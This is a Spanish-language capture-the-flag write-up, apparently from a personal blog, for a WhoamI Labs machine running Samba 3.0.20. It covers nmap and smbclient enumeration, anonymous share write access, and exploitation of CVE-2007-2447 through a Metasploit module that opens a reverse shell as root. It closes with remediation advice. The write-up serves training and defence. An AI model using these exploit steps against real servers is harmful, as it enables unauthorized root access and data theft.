Post

WhoamI Labs - Vulnerability

WhoamI Labs - Vulnerability

📋 Resumen Ejecutivo

El laboratorio “Vulnerability” expone un servidor Samba 3.0.20-Debian — una versión extremadamente antigua (2006) vulnerable a CVE-2007-2447, conocida como “Samba username map script Command Execution”. El servicio permite acceso anónimo de escritura sobre un share SMB, y el propio proceso smbd corre con privilegios de root, por lo que la explotación entrega acceso administrativo completo en un solo paso, sin necesidad de escalada de privilegios posterior.

CampoValor
PlataformaWhoamI Labs
DificultadFácil
IP objetivo172.17.0.2
Vulnerabilidad principalCVE-2007-2447 — Samba usermap script RCE

🔍 Reconocimiento

1
nmap -sV -sC -p- 172.17.0.2 -oN recon_vulnerability.txt

PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: vulnerability |_ FQDN: vulnerability

nmap -sV -sC -p- — Samba 3.0.20-Debian identificado

Hallazgo crítico: Samba 3.0.20-Debian es una versión de 2006, con vulnerabilidades críticas de RCE bien documentadas y con exploits públicos maduros. El account_used: guest sugiere además que el acceso podría no requerir autenticación real.

🕸️ Enumeración de recursos SMB

1
smbclient -L //172.17.0.2/ -N

Anonymous login successful Sharename Type Comment ——— —- ——- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service ADMIN$ IPC IPC Service

Listado de shares — login anónimo exitoso

Hallazgo: login anónimo exitoso confirmado. El share tmp con el comentario "oh noes!" resulta ser una pista deliberada del diseñador del lab — al conectarse, se confirma que apunta directamente al /tmp real del sistema.

1
2
smbclient //172.17.0.2/tmp -N
smb: \> ls

Contenido del share tmp — coincide contmp real del sistema

🔓 Confirmación del vector de escritura

1
2
smb: \> put /etc/hostname test_write.txt
smb: \> ls

Escritura anónima confirmada — test_write.txt aparece en el listado

Confirmado: escritura anónima exitosa sobre el share. Este es el prerequisito exacto para explotar CVE-2007-2447 — el servidor tiene un username map script mal configurado en smb.conf que ejecuta directamente comandos de shell inyectados a través del campo de nombre de usuario en la negociación SMB.

💥 Explotación — Metasploit

1
2
msfconsole -q
search usermap

0 exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution

1
2
3
4
use 0
set RHOSTS 172.17.0.2
set LHOST 172.17.0.1
show options

Búsqueda del módulo, selección y configuración de opciones

Nota sobre LHOST: el valor por defecto que trae Metasploit apuntaba a la IP de la red física de la VM (192.168.1.x), inalcanzable desde el contenedor Docker. Se corrigió a 172.17.0.1 — la IP de la interfaz docker0, verificada con ip addr show docker0 — para que el contenedor pudiera establecer la conexión de vuelta.

1
exploit

[] Started reverse TCP handler on 172.17.0.1:4444 [] Command shell session 1 opened (172.17.0.1:4444 → 172.17.0.2:50004)

Explotación exitosa — sesión de shell abierta

🚩 Confirmación de acceso — root directo

1
2
3
whoami
id
hostname

root uid=0(root) gid=0(root) vulnerability

Confirmación de acceso como root, sin necesidad de escalada de privilegios

Hallazgo: el proceso smbd explotado corría con privilegios de root — configuración insegura típica de sistemas de esa época. La explotación del RCE entrega acceso administrativo completo sin ningún paso adicional de escalada de privilegios.

🚩 Localización y lectura de la flag

1
find / -iname "flag*" 2>/dev/null

Entre varios falsos positivos (archivos de librerías del sistema con “flag” en el nombre), dos candidatos reales:

/root/flag.txt /tmp/share/flag.txt

Búsqueda de archivos flag en todo el filesystem

Hallazgo adicional: /tmp/share/flag.txt corresponde exactamente al share SMB tmp enumerado al inicio — la flag era técnicamente accesible antes incluso del RCE, con solo la escritura/lectura anónima sobre el share (sin necesidad de explotar el CVE en absoluto).

1
2
cat /root/flag.txt
cat /tmp/share/flag.txt

SAMBA{us3rn4m3_m4p_scr1pt_c0mm4nd_1nj3ct10n}

Ambas rutas contienen la misma flag

Flag: SAMBA{us3rn4m3_m4p_scr1pt_c0mm4nd_1nj3ct10n} — el propio contenido de la flag confirma el nombre técnico exacto de la vulnerabilidad explotada.

✅ Validación en la plataforma

Laboratorio completado — flag validada por WhoamI Labs

📊 Cadena de Explotación (Kill Chain)

Recon (nmap) → Samba 3.0.20-Debian identificado (versión crítica/antigua) → Enumeración de shares SMB (smbclient -L, acceso anónimo) → Confirmación de escritura anónima en share “tmp” → Identificación de CVE-2007-2447 (username map script RCE) → Explotación vía Metasploit (exploit/multi/samba/usermap_script) → Shell root directo (sin privesc adicional) → Flag localizada en dos rutas (/root y vía share SMB)

🛡️ Recomendaciones de Remediación

  1. Actualizar Samba: migrar a una versión soportada (4.x actual); Samba 3.0.20 lleva más de 15 años sin parches de seguridad.
  2. Deshabilitar username map script: si no es estrictamente necesario, remover esta directiva de smb.conf; si se requiere, nunca pasar input de usuario sin sanitizar a un contexto de ejecución de shell.
  3. Restringir acceso anónimo: deshabilitar guest ok = yes y map to guest salvo que sea explícitamente necesario para el caso de uso.
  4. Principio de menor privilegio: el proceso smbd no debería correr como root; usar un usuario de servicio dedicado con permisos mínimos.
  5. Permisos de share: el share tmp no debería permitir escritura anónima, especialmente apuntando al /tmp real del sistema operativo.

🧠 Lecciones aprendidas

  • Identificar la versión exacta de un servicio (Samba 3.0.20-Debian) permite ir directo a buscar CVEs conocidos en vez de fuzzear a ciegas — versiones con más de una década de antigüedad son casi siempre el vector más rápido.
  • Confirmar el prerequisito de un exploit (en este caso, escritura anónima sobre el share) antes de lanzar Metasploit da mayor confianza y reduce intentos fallidos.
  • El LHOST por defecto de Metasploit no siempre coincide con la interfaz de red correcta cuando el objetivo vive en una red Docker aislada — siempre verificar con ip addr show docker0 (o la interfaz bridge correspondiente) antes de lanzar un exploit con payload de conexión inversa.
  • Vale la pena enumerar exhaustivamente (find / -iname) incluso después de obtener root — a veces hay más de una vía de acceso a la misma información (en este caso, la flag también era legible directamente vía SMB, sin pasar por el RCE).
This post is licensed under CC BY 4.0 by the author.